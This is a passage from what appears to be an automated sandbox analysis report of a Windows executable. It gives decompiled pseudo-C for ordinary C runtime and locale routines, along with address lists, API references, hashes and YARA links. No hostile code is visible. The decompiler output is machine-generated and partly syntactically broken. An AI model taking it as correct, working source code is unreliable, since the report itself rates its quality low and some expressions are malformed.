							_v104 =  *((intOrPtr*)(_t656 + 0xc)) +  *((intOrPtr*)(_t656 + 8)) - _t586;
							_v88 = _t586;
							_t588 =  <  ? _t656 + 0x18 :  &_v104;
							_v100 =  *(_t656 + 0x14) *  *(_t656 + 0x10);
							_t633 = _v88;
							_t425 =  <  ? _t588 :  &_v100;
							_t589 =  *((intOrPtr*)( <  ? _t588 :  &_v100));
							_t133 = _t656 + 0x18;
							 *_t133 =  *(_t656 + 0x18) - _t589;
							_v100 = _t589;
							_t426 = _v88 + _t589;
							_v104 = _t426;
							 *((intOrPtr*)(_t656 + 0x1c)) = _t426;
							if( *_t133 == 0 || _v104 ==  *((intOrPtr*)(_t656 + 0xc)) +  *((intOrPtr*)(_t656 + 8))) {
								 *((intOrPtr*)(_t656 + 0x1c)) =  *((intOrPtr*)(_t656 + 0xc));
							}
							E001048E0(_t505, _t633, _t589);
							E001048E0(_t505 + _v100,  *((intOrPtr*)(_t656 + 0x1c)),  *(_t656 + 0x18));
							_t686 = _t686 + 0x18;
							 *(_t656 + 0x18) = 0;
						}
						 *((intOrPtr*)( *_t674 + 0xe8))(_t505, _v96);
						 *((char*)(_t674 + 0x24)) = 0;
						E000B3640(_t656, 1,  *((intOrPtr*)(_t674 + 0x18)));
						_t415 =  *((intOrPtr*)( *_t674 + 0xa8))();
						_t416 =  *((intOrPtr*)( *((intOrPtr*)( *_t415 + 0x8c))))(0x16f03c, 0, 0, _a12 - 1, _a16); // executed
						 *(_t674 + 0x14) = 0 | _t416 != 0x00000000;
						_v8 = 3;
						memset(_t505, 0, _v96 << 0);
						L000B3E40(_t505);
					}
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t683);
				}
			}

0x000b2db3
0x000b2db5
0x000b2dc0
0x000b2dc1
0x000b2dc4
0x000b2dc9
0x000b2dcb
0x000b2dce
0x000b2dd0
0x000b2dd1
0x000b2dd5
0x000b2ddb
0x000b2de1
0x000b2de4
0x000b2de7
0x000b319f
0x000b31a7
0x000b31af
0x000b31b2
0x000b31c0
0x000b31c5
0x000b31c6
0x000b31c7
0x000b31c8
0x000b31c9
0x000b31ca
0x000b31cb
0x000b31cc
0x000b31cd
0x000b31ce
0x000b31cf
0x000b31d0
0x000b31d6
0x000b31d7
0x000b31d9
0x000b31dc
0x000b31e0
0x000b31ee
0x000b31ef
0x000b31f0
0x000b31f0
0x000b31f3
0x000b326a
0x000b3270
0x000b3273
0x000b3276
0x00000000
0x000b31f5
0x000b31f5
0x000b31f5
0x000b31f8
0x00000000
0x000b31fa
0x000b31fa
0x000b31fd
0x000b328f
0x000b3291
0x000b3297
0x000b3203
0x000b3209
0x000b320c
0x000b3214
0x000b3217
0x000b321b
0x000b3226
0x000b3228
0x000b322c
0x000b322f
0x000b3231
0x000b34fa
0x000b34fd
0x000b34ff
0x000b3510
0x000b3512
0x000b3237
0x000b323d
0x000b3240
0x000b3242
0x000b3253
0x000b3255
0x000b3255
0x000b3516
0x000b351b
0x000b351e
0x000b3520
0x000b3522
0x000b3591
0x000b3591
0x000b359a
0x000b359d
0x000b35a4
0x000b3524
0x000b3524
0x000b3527
0x000b3529
0x000b352c
0x000b352f
0x000b3532
0x000b3534
0x000b3537
0x000b353d
0x000b3540
0x000b3543
0x000b3546
0x000b3549
0x000b3549
0x000b3282
0x000b3282
0x000b3284
0x000b329a
0x000b329e
0x00000000
0x000b32a4
0x000b32a4
0x000b32a7
0x000b32aa
0x000b32ac
0x000b32b2
0x000b32ae
0x000b32ae
0x000b32ae
0x000b32b7
0x000b32bb
0x000b32c3
0x000b32c6
0x00000000
0x000b32cc
0x000b32cc
0x000b32ce
0x000b32d8
0x000b32d8
0x000b32d8
0x000b32d0
0x000b32d0
0x000b32d2
0x00000000
0x000b32d4
0x000b32d4
0x000b32d4
0x000b32d2
0x000b32e4
0x000b32eb
0x000b32ee
0x000b32f1
0x000b32f4
0x00000000
0x000b32fa
0x000b32fa
0x000b3305
0x000b3305
0x000b3309
0x000b330c
0x000b3368
0x000b336a
0x000b336c
0x000b336c
0x000b3378
0x000b337b
0x000b337e
0x000b3384
0x000b3387
0x000b3393
0x000b3393
0x000b3393
0x000b3389
0x000b3389
0x000b338f
0x000b338f
0x000b338b
0x000b338b
0x000b338d
0x00000000
0x00000000
0x00000000
0x00000000
0x000b338d
0x000b3389
0x000b339c
0x000b33b8
0x000b33ba
0x000b33bc
0x000b33be
0x000b330e
0x000b330e
0x000b3310
0x000b3312
0x000b3312
0x000b331e
0x000b3321
0x000b3324
0x000b332a
0x000b332d
0x000b3339
0x000b3339
0x000b3339
0x000b332f
0x000b332f
0x000b3335
0x000b3335
0x000b3331
0x000b3331
0x000b3333
0x00000000
0x00000000
0x00000000
0x00000000
0x000b3333
0x000b332f
0x000b3342
0x000b3360
0x000b3362
0x000b3364
0x000b3364
0x000b33c3
0x000b33c6
0x000b33c8
0x000b3551
0x000b3554
0x000b3556
0x000b3558
0x000b3558
0x000b3567
0x000b356a
0x000b356d
0x000b3570
0x000b3573
0x000b3575
0x000b3586
0x000b3586
0x000b3589
0x000b358e
0x000b3577
0x000b3577
0x000b357d
0x000b357d
0x000b357f
0x000b3581
0x000b3579
0x000b3579
0x000b357b
0x00000000
0x00000000
0x00000000
0x00000000
0x000b357b
0x000b3577
0x00000000
0x000b33ce
0x000b33d1
0x000b33d4
0x000b33d7
0x000b33da
0x000b33dc
0x000b33df
0x000b33e8
0x000b33eb
0x000b33ee
0x000b33f1
0x000b33f4
0x000b33f7
0x000b33fb
0x000b33fd
0x000b3400
0x000b3403
0x000b3406
0x000b3408
0x000b340e
0x000b340a
0x000b340a
0x000b340a
0x000b341c
0x000b341f
0x000b3421
0x000b342d
0x000b342d
0x000b342d
0x000b342f
0x000b3423
0x000b3423
0x000b3425
0x000b3427
0x00000000
0x000b3429
0x000b3429
0x000b3429
0x000b3427
0x000b343d
0x000b3440
0x000b3446
0x000b344c
0x000b3454
0x000b3457
0x000b345a
0x000b345d
0x000b345f
0x000b3468
0x000b3468
0x000b346b
0x000b346d
0x000b346f
0x000b3479
0x000b3479
0x000b3479
0x000b347b
0x000b3471
0x000b3471
0x000b3473
0x00000000
0x000b3475
0x000b3475
0x000b3475
0x000b3473
0x000b3487
0x000b348a
0x000b348c
0x000b3496
0x000b3496
0x000b3496
0x000b348e
0x000b348e
0x000b3490
0x00000000
0x000b3492
0x000b3492
0x000b3492
0x000b3490
0x000b34a2
0x000b34a8
0x000b34ae
0x000b34b1
0x000b34b4
0x000b34c3
0x000b34c3
0x000b34c3
0x000b34b6
0x000b34b6
0x000b34b9
0x000b34bf
0x000b34bf
0x000b34bb
0x000b34bb
0x000b34bd
0x00000000
0x00000000
0x00000000
0x00000000
0x000b34bd
0x000b34b9
0x000b34c5
0x000b34c5
0x000b34c5
0x000b34c9
0x000b34d4
0x000b34d4
0x000b34d4
0x000b34cb
0x000b34cb
0x000b34cb
0x000b3461
0x000b3461
0x000b3463
0x000b3466
0x00000000
0x00000000
0x000b3466
0x000b3461
0x000b34d7
0x000b34da
0x000b34df
0x000b34e1
0x000b34e4
0x000b34e8
0x000b34eb
0x000b3280
0x000b3280
0x00000000
0x000b3280
0x000b32fc
0x000b32fc
0x000b32ff
0x00000000
0x00000000
0x00000000
0x00000000
0x000b32ff
0x000b32fa
0x000b32f4
0x000b32c6
0x000b3286
0x000b3286
0x000b3289
0x00000000
0x00000000
0x00000000
0x00000000
0x000b3289
0x000b3284
0x000b3522
0x000b31fd
0x000b31f8
0x000b31e2
0x000b31e2
0x000b31e8
0x000b31e8
0x000b2ded
0x000b2ded
0x000b2df2
0x000b3040
0x000b2df8
0x000b2dfc
0x000b2dff
0x000b2e02
0x000b2e05
0x000b2e67
0x000b2e67
0x000b2e6d
0x000b2f20
0x000b2f26
0x000b2f28
0x000b2f2a
0x000b2f2c
0x000b2f30
0x000b2f30
0x000b2f33
0x000b2f35
0x000b2f37
0x00000000
0x00000000
0x000b2f3b
0x000b2f44
0x000b2f47
0x000b2f49
0x000b2f77
0x000b2f77
0x000b2f4b
0x000b2f4b
0x000b2f4e
0x000b2f51
0x000b2f54
0x000b2f5a
0x000b2f63
0x000b2f65
0x000b2f6a
0x000b2f6a
0x000b2f6d
0x000b2f72
0x000b2f72
0x000b2f80
0x000b2f83
0x000b2f86
0x000b2f88
0x000b2f8b
0x000b2f91
0x000b2f93
0x000b2f95
0x00000000
0x00000000
0x00000000
0x000b2f95
0x000b2f97
0x000b2f97
0x000b2f9d
0x000b2f9f
0x000b2fa1
0x000b2fe6
0x000b2fe6
0x000b2fa3
0x000b2fa3
0x000b2fa6
0x000b2fa8
0x00000000
0x000b2faa
0x000b2faa
0x000b2fb0
0x000b2fb4
0x000b2fc3
0x000b2fcc
0x000b2fd5
0x000b2fda
0x000b2fdd
0x000b2fdf
0x000b2fe1
0x000b2fe1
0x000b2fa8
0x000b2fec
0x000b2fee
0x00000000
0x000b2ff0
0x000b2ff4
0x000b2ffc
0x000b3001
0x000b300f
0x000b301f
0x000b3025
0x000b3025
0x000b2e73
0x000b2e73
0x000b2e78
0x000b302c
0x000b302c
0x00000000
0x000b2e7e
0x000b2e7e
0x000b2e80
0x000b2e84
0x000b2e86
0x00000000
0x00000000
0x000b2e88
0x000b2e8b
0x000b2e90
0x000b2e9d
0x000b2ea6
0x000b2eac
0x000b2eb1
0x000b2eb4
0x000b2eb7
0x000b2eb9
0x000b2ebe
0x000b2ec1
0x000b2ed3
0x000b2ed3
0x000b2edc
0x000b2ee2
0x000b2ee4
0x000b2ee7
0x000b2eeb
0x00000000
0x00000000
0x00000000
0x000b2eeb
0x000b2eef
0x00000000
0x000b2ef5
0x000b2f00
0x000b2f0f
0x000b2f16
0x000b2f16
0x000b2eef
0x000b2e78
0x000b2e07
0x000b2e07
0x000b2e0c
0x000b302f
0x000b3032
0x000b3039
0x000b2e12
0x000b2e15
0x000b2e1c
0x000b2e35
0x000b2e38
0x000b2e4f
0x000b2e5a
0x000b2e5d
0x000b2e60
0x000b2e63
0x00000000
0x000b2e63
0x000b2e0c
0x000b2e05
0x000b3047
0x000b3051
0x000b305f
0x000b305f
0x000b3065
0x000b3068
0x000b306b
0x000b3072
0x000b3077
0x000b307e
0x000b3083
0x000b3086
0x000b3079
0x000b3079
0x000b3079
0x000b3088
0x000b308b
0x000b3094
0x000b309c
0x000b30ab
0x000b30b1
0x000b30b7
0x000b30bd
0x000b30c2
0x000b30c5
0x000b30c8
0x000b30ca
0x000b30ca
0x000b30cd
0x000b30d0
0x000b30d3
0x000b30d6
0x000b30d9
0x000b30e9
0x000b30e9
0x000b30ef
0x000b3100
0x000b3105
0x000b3108
0x000b3108
0x000b3117
0x000b3122
0x000b3128
0x000b3131
0x000b3152
0x000b315b
0x000b3165
0x000b316c
0x000b316f
0x000b3174
0x000b317c
0x000b3194
0x000b3194

APIs

Part of subcall function 000B3DE0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000B31C0

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

FilterWithBufferedInput, xrefs: 000B3197

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: FilterWithBufferedInput
API String ID: 654547538-4021797063
Opcode ID: 0dbc9c59ab493f50f84a79d4220b657b6361082044aab8f9789c8aecf48ad8a6
Instruction ID: cbeb3ddfdb4376403af012bd127702114c49259441f66e56155af2d325349c3e
Opcode Fuzzy Hash: 0dbc9c59ab493f50f84a79d4220b657b6361082044aab8f9789c8aecf48ad8a6
Instruction Fuzzy Hash: 69E13971A007099FCB24DFA9C984AAEBBF6FF88300F14492DE1469B655DB31F945CB90

Uniqueness

Uniqueness Score: 100.00%

Function 0011F64A, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E0011F64A(void* __ecx, void* __esi, void* __eflags, intOrPtr _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _t18;
				intOrPtr* _t20;
				intOrPtr* _t31;
				signed int _t33;

				_t26 = __ecx;
				_push(__ecx);
				_t18 =  *0x16f170; // 0xd529e887
				_v8 = _t18 ^ _t33;
				_push(__esi);
				_t20 = E0011EF61(0x16, "LCMapStringEx", 0x148020, "LCMapStringEx"); // executed
				_t31 = _t20;
				if(_t31 == 0) {
					LCMapStringW(E0011F6D2(_t26, _t31, __eflags, _a4, 0), _a8, _a12, _a16, _a20, _a24);
				} else {
					 *0x13a31c(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
					 *_t31();
				}
				return E000ECED8(_v8 ^ _t33);
			}

0x0011f64a
0x0011f64f
0x0011f650
0x0011f657
0x0011f65a
0x0011f66c
0x0011f671
0x0011f678
0x0011f6bb
0x0011f67a
0x0011f697
0x0011f69d
0x0011f69d
0x0011f6cf

APIs

Part of subcall function 0011EF61: GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA,00000000), ref: 0011EFC1
Part of subcall function 0011EF61: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011EFCE

LCMapStringW.KERNEL32(00000000,00000001,00000000,00000000,00000001,?,?,?,00000001,00000000,00000001,?,00126C78,00126C78,?,?), ref: 0011F6BB

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

LCMapStringEx, xrefs: 0011F65B, 0011F665

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: AddressFeaturePresentProcProcessorString___raise_securityfailure__crt_fast_encode_pointer
String ID: LCMapStringEx
API String ID: 2256333014-3893581201
Opcode ID: cfe5ef5f952f4d227824b5a9d6ccbb0df0fab7e8efc586398662575759651af5
Instruction ID: e01b61700afc56daf7846b2b88b5a6bb67520d931d09c09d0bb947db6f619460
Opcode Fuzzy Hash: cfe5ef5f952f4d227824b5a9d6ccbb0df0fab7e8efc586398662575759651af5
Instruction Fuzzy Hash: EA01C232540209BBCF169F90DC06DEE3FA2EF08760F414128FE1866170CB7299B2EB85

Uniqueness

Uniqueness Score: 0.11%

Function 000B3DE0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 43
UNIQUE

Download Yara Rule

C-Code - Quality: 39%

			E000B3DE0(void* __edi, void* __eflags, intOrPtr _a4) {
				void* _v0;
				char _v16;
				intOrPtr _v20;
				void* _t6;
				int _t10;
				intOrPtr* _t11;
				intOrPtr _t13;
				void* _t16;
				intOrPtr _t20;
				intOrPtr* _t23;
				void* _t30;
				void* _t31;
				void* _t33;

				_t20 = _a4;
				_push(_t20); // executed
				_t6 = E00110641(_t16); // executed
				_t31 = _t30 + 4;
				if(_t6 != 0) {
					L5:
					return _t6;
				} else {
					while(1) {
						_t23 = E000DAA35(0);
						_t33 = _t31 + 4;
						if(_t23 == 0) {
							break;
						}
						E000DAA35(_t23);
						 *_t23();
						_push(_t20);
						_t6 = E00110641(_t16);
						_t31 = _t33 + 8;
						if(_t6 == 0) {
							continue;
						} else {
							goto L5;
						}
						goto L13;
					}
					_t2 =  &_v16; // 0x9323f
					E00051BF0(_t2);
					_t3 =  &_v16; // 0x9323f
					_t10 = E001047B7(_t3, 0x16ccc4);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					if(_v20 != 0) {
						_t10 = HeapFree( *0x17a2a8, 0, _v0);
						if(_t10 == 0) {
							_push(_t23);
							_t11 = E0010FAC5();
							_t13 = E0010FA4C(GetLastError());
							 *_t11 = _t13;
							return _t13;
						}
					}
					return _t10;
				}
				L13:
			}

0x000b3de7
0x000b3dea
0x000b3deb
0x000b3df0
0x000b3df5
0x000b3e1e
0x000b3e22
0x000b3df7
0x000b3df8
0x000b3dff
0x000b3e01
0x000b3e06
0x00000000
0x00000000
0x000b3e09
0x000b3e0e
0x000b3e10
0x000b3e11
0x000b3e16
0x000b3e1b
0x00000000
0x000b3e1d
0x00000000
0x000b3e1d
0x00000000
0x000b3e1b
0x000b3e23
0x000b3e26
0x000b3e30
0x000b3e34
0x000b3e39
0x000b3e3a
0x000b3e3b
0x000b3e3c
0x000b3e3d
0x000b3e3e
0x000b3e3f
0x0011d5d0
0x0011d5dd
0x0011d5e5
0x0011d5e7
0x0011d5e8
0x0011d5f6
0x0011d5fc
0x00000000
0x0011d5fe
0x0011d5e5
0x0011d600
0x0011d600
0x00000000

APIs

Part of subcall function 000DAA35: std::_Lockit::_Lockit.LIBCPMT ref: 000DAA5E
Part of subcall function 000DAA35: std::_Lockit::~_Lockit.LIBCPMT ref: 000DAA86

__CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

Strings

?2, xrefs: 000B3E23, 000B3E30, 000B3E33

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Lockitstd::_$ExceptionException@8Lockit::_Lockit::~_RaiseThrow
String ID: ?2
API String ID: 51420344-1155176298
Opcode ID: 32c3c12aa94c56b913f473311d6e30f262419b4c84b99ebf3c966675289f23d4
Instruction ID: 6af2238684aed59a5e3978dff66f1d627d1c4264b788be646a9be1a7038a3770
Opcode Fuzzy Hash: 32c3c12aa94c56b913f473311d6e30f262419b4c84b99ebf3c966675289f23d4
Instruction Fuzzy Hash: 03F0EC72E0011927C55472A96D07BEFB79C4F91750F040176FD1896253FF94E665C1E3

Uniqueness

Uniqueness Score: 100.00%

Function 0011F51B, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E0011F51B(void* __ecx, void* __esi, void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _t8;
				intOrPtr* _t20;
				signed int _t22;

				_push(__ecx);
				_t8 =  *0x16f170; // 0xd529e887
				_v8 = _t8 ^ _t22;
				_t20 = E0011EF61(0x14, "InitializeCriticalSectionEx", 0x147fe0, "InitializeCriticalSectionEx");
				if(_t20 == 0) {
					InitializeCriticalSectionAndSpinCount(_a4, _a8); // executed
				} else {
					 *0x13a31c(_a4, _a8, _a12);
					 *_t20();
				}
				return E000ECED8(_v8 ^ _t22);
			}

0x0011f520
0x0011f521
0x0011f528
0x0011f542
0x0011f549
0x0011f566
0x0011f54b
0x0011f556
0x0011f55c
0x0011f55c
0x0011f57a

APIs

Part of subcall function 0011EF61: GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,0011F2D0,00000006,FlsSetValue,00147F20,FlsSetValue,00000000,00000364,?,0011E0DA,00000000), ref: 0011EFC1
Part of subcall function 0011EF61: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011EFCE

InitializeCriticalSectionAndSpinCount.KERNELBASE(00000000,00000FA0,0016F2A0,00000FA0,00000000,B2AB117A,?,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,D529E887), ref: 0011F566

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

InitializeCriticalSectionEx, xrefs: 0011F52C, 0011F536

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: AddressCountCriticalFeatureInitializePresentProcProcessorSectionSpin___raise_securityfailure__crt_fast_encode_pointer
String ID: InitializeCriticalSectionEx
API String ID: 1759818647-3084827643
Opcode ID: 9fc2d04763d79cd922421a9395c0513a2b49c35cb0ddce84297523b0b8cefa04
Instruction ID: 36bfc79246fec8bc7c82a3a8f6945448be2b63fb7521bb35456563581800b1ee
Opcode Fuzzy Hash: 9fc2d04763d79cd922421a9395c0513a2b49c35cb0ddce84297523b0b8cefa04
Instruction Fuzzy Hash: 0EF0B43164420CBBCF156F60DC06DEE7FA1EF08B60B404029FD19562A0CB725A52DA80

Uniqueness

Uniqueness Score: 0.06%

Function 0006B150, Relevance: 3.1, APIs: 2, Instructions: 94
UNIQUE

Download Yara Rule

C-Code - Quality: 66%

			E0006B150(intOrPtr* __ecx, void* __edx, void* __eflags, intOrPtr _a4, char _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				char _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t34;
				intOrPtr* _t44;
				intOrPtr* _t46;
				void* _t49;
				char _t50;
				void* _t63;
				intOrPtr* _t64;
				void* _t66;
				intOrPtr _t67;
				intOrPtr* _t68;
				signed int _t70;
				void* _t77;

				_t77 = __eflags;
				_t34 =  *0x16f170; // 0xd529e887
				 *[fs:0x0] =  &_v16;
				_t64 = __ecx;
				 *((intOrPtr*)(__ecx + 0x30)) = 0;
				 *((intOrPtr*)(__ecx + 8)) = 0;
				 *((intOrPtr*)(__ecx + 0x10)) = 0;
				 *((intOrPtr*)(__ecx + 0x14)) = 0x201;
				 *((intOrPtr*)(__ecx + 0x18)) = 6;
				 *((intOrPtr*)(__ecx + 0x1c)) = 0;
				 *((intOrPtr*)(__ecx + 0x20)) = 0;
				 *((intOrPtr*)(__ecx + 0x24)) = 0;
				 *((intOrPtr*)(__ecx + 0x28)) = 0;
				 *((intOrPtr*)(__ecx + 0x2c)) = 0;
				E00053470(_t49, __ecx, __edx, __ecx, 0);
				_t67 = E000ECF08(_t66, _t77);
				_v8 = 0;
				 *((intOrPtr*)(_t67 + 4)) = E000D977E(_t49, _t64, _t67);
				 *((intOrPtr*)(_t64 + 0x30)) = _t67;
				 *((intOrPtr*)(_t64 + 0x38)) = _a4;
				 *((intOrPtr*)(_t64 + 0x3c)) = 0;
				_v8 = 1;
				_t68 =  *((intOrPtr*)(_t67 + 4));
				_v20 = _t68;
				 *((intOrPtr*)( *_t68 + 4))(1, 8, 0, _t34 ^ _t70, _t63, _t66, _t49,  *[fs:0x0], 0x12eac8, 0xffffffff);
				_v8 = 2;
				_t44 = E0006C220(__edx); // executed
				_t50 =  *((intOrPtr*)( *((intOrPtr*)( *_t44 + 0x20))))(0x20,  &_v24);
				_v8 = 3;
				_t55 = _t68;
				_t62 =  *_t68;
				_t46 =  *((intOrPtr*)( *_t68 + 8))();
				if(_t46 != 0) {
					_t62 =  *((intOrPtr*)( *_t46));
					_t55 = _t46;
					_t46 =  *((intOrPtr*)( *((intOrPtr*)( *_t46))))(1);
				}
				_v8 = 0xffffffff;
				 *((char*)(_t64 + 0x40)) = _t50;
				if( *((intOrPtr*)(_t64 + 0x38)) == 0) {
					_t55 = _t64;
					_push(0);
					_t46 = E00053470(_t50, _t64, _t62, _t64,  *(_t64 + 0xc) | 0x00000004);
				}
				if(_a8 != 0) {
					_t46 = E000D9D84(_t55, _t64);
				}
				 *[fs:0x0] = _v16;
				return _t46;
			}

0x0006b150
0x0006b167
0x0006b172
0x0006b178
0x0006b17e
0x0006b185
0x0006b18c
0x0006b193
0x0006b19a
0x0006b1a1
0x0006b1a8
0x0006b1af
0x0006b1b6
0x0006b1bd
0x0006b1c4
0x0006b1d3
0x0006b1d7
0x0006b1e3
0x0006b1ec
0x0006b1ef
0x0006b1f2
0x0006b1f9
0x0006b200
0x0006b205
0x0006b20a
0x0006b210
0x0006b218
0x0006b22b
0x0006b22d
0x0006b234
0x0006b236
0x0006b238
0x0006b23d
0x0006b243
0x0006b245
0x0006b247
0x0006b247
0x0006b249
0x0006b254
0x0006b257
0x0006b25c
0x0006b261
0x0006b264
0x0006b264
0x0006b26d
0x0006b270
0x0006b275
0x0006b27b
0x0006b289

APIs

Part of subcall function 00053470: __CxxThrowException@8.LIBVCRUNTIME ref: 0005349D
Part of subcall function 00053470: __CxxThrowException@8.LIBVCRUNTIME ref: 000534E2
Part of subcall function 00053470: ___std_exception_copy.LIBVCRUNTIME ref: 0005350F

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

std::locale::_Init.LIBCPMT ref: 0006B1DE

Part of subcall function 000D977E: __EH_prolog3.LIBCMT ref: 000D9785
Part of subcall function 000D977E: std::_Lockit::_Lockit.LIBCPMT ref: 000D9790
Part of subcall function 000D977E: std::locale::_Setgloballocale.LIBCPMT ref: 000D97AB
Part of subcall function 000D977E: std::_Lockit::~_Lockit.LIBCPMT ref: 000D9801

Part of subcall function 0006C220: std::_Lockit::_Lockit.LIBCPMT ref: 0006C260
Part of subcall function 0006C220: std::_Lockit::_Lockit.LIBCPMT ref: 0006C282
Part of subcall function 0006C220: std::_Lockit::~_Lockit.LIBCPMT ref: 0006C2A2
Part of subcall function 0006C220: __Getctype.LIBCPMT ref: 0006C341
Part of subcall function 0006C220: std::_Facet_Register.LIBCPMT ref: 0006C360
Part of subcall function 0006C220: std::_Lockit::~_Lockit.LIBCPMT ref: 0006C380

std::ios_base::_Addstd.LIBCPMT ref: 0006B270

Part of subcall function 000D9D84: std::_Lockit::_Lockit.LIBCPMT ref: 000D9D8D
Part of subcall function 000D9D84: std::_Lockit::~_Lockit.LIBCPMT ref: 000D9DC8

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Throw$std::locale::_$AddstdFacet_GetctypeH_prolog3InitRegisterSetgloballocale___std_exception_copystd::ios_base::_
String ID:
API String ID: 4155817461-0
Opcode ID: bdcc93f5c34b039e66c9e5eaeec0b8dc0bde4db7e28198f6f54fad46bca32734
Instruction ID: 627e3a35734cff6931e23e80401a5aa506a9994dccc3ed900d7e63739a31519b
Opcode Fuzzy Hash: bdcc93f5c34b039e66c9e5eaeec0b8dc0bde4db7e28198f6f54fad46bca32734
Instruction Fuzzy Hash: 7F318DB0A00605EFE700DF65C859B9ABBF4FB44718F108229E4059BB81D7B6B964CBC0

Uniqueness

Uniqueness Score: 100.00%

Function 0011CFD6, Relevance: 3.1, APIs: 2, Instructions: 77
fileCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0011CFD6(void* __ebx, void* __edi, void* __esi, signed int* _a4, signed int _a8, intOrPtr* _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				void _v5128;
				intOrPtr _v5132;
				long _v5136;
				void* _v5140;
				signed int _t31;
				intOrPtr _t37;
				int _t41;
				long _t45;
				char _t46;
				intOrPtr* _t49;
				void* _t54;
				char* _t58;
				long _t59;
				signed int* _t62;
				signed int _t64;

				E000EE4F0();
				_t31 =  *0x16f170; // 0xd529e887
				_v8 = _t31 ^ _t64;
				_t51 = _a8;
				_t49 = _a12;
				_t62 = _a4;
				_t54 =  *( *((intOrPtr*)(0x179eb0 + (_a8 >> 6) * 4)) + 0x18 + (_t51 & 0x0000003f) * 0x30);
				 *_t62 =  *_t62 & 0x00000000;
				_t37 = _a16 + _t49;
